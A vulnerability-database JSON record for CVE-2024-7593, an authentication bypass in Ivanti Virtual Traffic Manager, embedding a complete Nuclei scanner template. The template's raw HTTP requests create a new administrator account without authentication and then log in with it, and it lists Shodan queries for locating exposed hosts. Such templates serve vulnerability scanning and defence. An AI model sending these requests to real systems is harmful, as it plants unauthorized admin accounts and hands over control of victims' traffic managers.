{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-7593/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-7593/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-7593/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-7593/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-7593/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-7593"},"sightings":{"href":"/api/v1/sightings/cve-2024-7593"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-7593.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-7593\n\ninfo:\n  name: Ivanti vTM - Authentication Bypass\n  author: gy741\n  severity: critical\n  description: |\n    Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.\n  impact: |\n    Unauthenticated attackers can bypass authentication to access the admin panel, gaining full administrative control of the Ivanti vTM system and potentially modifying traffic management configurations.\n  remediation: |\n    Upgrade to the latest version to mitigate this vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-7593\n    - https://packetstormsecurity.com/files/download/179906/ivantiadc99-bypass.txt\n    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-7593\n    cwe-id: CWE-287\n    epss-score: 0.9999\n    epss-percentile: 0.99985\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ivanti\n    product: virtual traffic manager\n    shodan-query:\n      - http.favicon.hash:1862800928\n      - html:\"apps/zxtm/login.cgi\"\n  tags: packetstorm,cve2024,cve,auth-bypass,ivanti,intrusive,kev,vkev,vuln\nflow: http(1) && http(2)\n\nvariables:\n  username: \"{{rand_base(6)}}\"\n  password: \"{{rand_base(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers HTTP/1.1\n        Host: {{Hostname}}\n\n        _form_submitted=form&create_user=Create&group=admin&newusername={{username}}&password1={{password}}&password2={{password}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"wizardtitletext\"\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 15s\n        POST /apps/zxtm/login.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {[RootURL]}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycznFUOqD0Y01A9B5\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n        Referer: {{RootURL}}/apps/zxtm/login.cgi\n\n        ------WebKitFormBoundarycznFUOqD0Y01A9B5\n        Content-Disposition: form-data; name=\"_form_submitted\"\n\n        form\n        ------WebKitFormBoundarycznFUOqD0Y01A9B5\n        Content-Disposition: form-data; name=\"form_username\"\n\n        {{username}}\n        ------WebKitFormBoundarycznFUOqD0Y01A9B5\n        Content-Disposition: form-data; name=\"form_password\"\n\n        {{password}}\n        ------WebKitFormBoundarycznFUOqD0Y01A9B5\n        Content-Disposition: form-data; name=\"form_submit\"\n\n        Login\n        ------WebKitFormBoundarycznFUOqD0Y01A9B5--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"Location: /apps/zxtm/\"\n          - \"Set-Cookie: ZeusTMZAUTH=\"\n          - \"Set-Cookie: ZeusTMZAUTHTIME=\"\n        condition: and\n\n      - type: status\n        status:\n          - 302\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USER: \"+ username'\n          - '\"PASS: \"+ password'\n# digest: 490a004630440220199d2ae792473963e24cd0d6bb635d797f74fdf38cbe7fb218aba09a4e91abd902205b1b5a6c1ee6f844ffee2c4e88e0b25d2f680a4b797e51ad934fda67dbe2ca0a:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-7593"}